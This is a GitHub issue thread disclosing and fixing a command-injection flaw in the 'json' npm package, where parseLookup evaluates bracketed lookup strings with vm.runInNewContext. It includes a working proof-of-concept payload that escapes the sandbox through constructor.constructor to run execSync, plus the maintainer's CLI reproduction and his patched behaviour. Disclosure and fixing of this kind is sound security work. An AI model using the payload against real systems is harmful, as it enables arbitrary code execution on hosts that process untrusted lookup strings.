New issue

Jump to bottom

Command Injection #144

Closed **po6ix** opened this issue on Aug 6, 2020 · 2 comments · Fixed by #145

Assignees

po6ix commented on Aug 6, 2020

POC

```
const json = require('json');

res = json.parseLookup('{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("id").toString()]:1}');
console.log(res);
```

👍 2

trentm commented on Aug 23, 2020 Owner

I concur, this is a vulnerability. Repro on the CLI:

```
[13:40:35 trentm@purple:~/tm/json (git:master)]
% ls hi.txt
ls: hi.txt: No such file or directory

[13:40:39 trentm@purple:~/tm/json (git:master rv:1)]
% echo '{"foo": "bar"}' | json '{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch hi.txt").toString()]:1}'

[13:40:51 trentm@purple:~/tm/json (git:master)]
% ls hi.txt
hi.txt
```

Internally `parseLookup` is using vm.runInNewContext to eval the lookup string between the brackets.

I propose a breaking change to `json` (to be released as version 10.0.0) that would limit the supported syntax for bracketed lookup strings such that eval'ing is not necessary.

Here is the attempted repro result after my current draft of changes:

```
[13:44:25 trentm@purple:~/tm/json (git:master)]
% ls hi.txt
ls: hi.txt: No such file or directory
[13:44:27 trentm@purple:~/tm/json (git:master rv:1)]
% echo '{"foo": "bar"}' | ./lib/json.js '{[this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch hi.txt").toString()]:1}'
/Users/trentm/tm/json/lib/json.js:892
                        throw new Error(format('invalid bracketed lookup ' +
                        ^

Error: invalid bracketed lookup string: "[this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync(\"touch hi.txt\").toString()]" (must be
of the form ['...'], ["..."], or [`...`])
    at parseLookup (/Users/trentm/tm/json/lib/json.js:892:31)
    at /Users/trentm/tm/json/lib/json.js:1367:16
    at Array.map (<anonymous>)
    at main (/Users/trentm/tm/json/lib/json.js:1366:30)
    at Object.<anonymous> (/Users/trentm/tm/json/lib/json.js:1749:5)
    at Module._compile (internal/modules/cjs/loader.js:778:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:789:10)
    at Module.load (internal/modules/cjs/loader.js:653:32)
    at tryModuleLoad (internal/modules/cjs/loader.js:593:12)
    at Function.Module._load (internal/modules/cjs/loader.js:585:3)
[13:44:38 trentm@purple:~/tm/json (git:master rv:1)]
% ls hi.txt
ls: hi.txt: No such file or directory
```

👍 1

trentm added a commit that referenced this issue on Aug 23, 2020

`BREAKING CHANGE: limit syntax for bracketed lookup strings to fix vuln` ··· 48169ce

trentm mentioned this issue on Aug 23, 2020

BREAKING CHANGE: limit syntax for bracketed lookup strings to fix vuln #145

Merged

trentm self-assigned this on Aug 23, 2020

trentm closed this as completed in #145 on Aug 28, 2020

trentm added a commit that referenced this issue on Aug 28, 2020

`BREAKING CHANGE: limit syntax for bracketed lookup strings to fix vuln (` … cc47981

trentm commented on Aug 28, 2020 Owner

json@10.0.0 is published to npm, and a "10.0.0" git tag added.

Thanks for the report!

Assignees

trentm

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging a pull request may close this issue.

BREAKING CHANGE: limit syntax for bracketed lookup strings to fix vuln
trentm/json

2 participants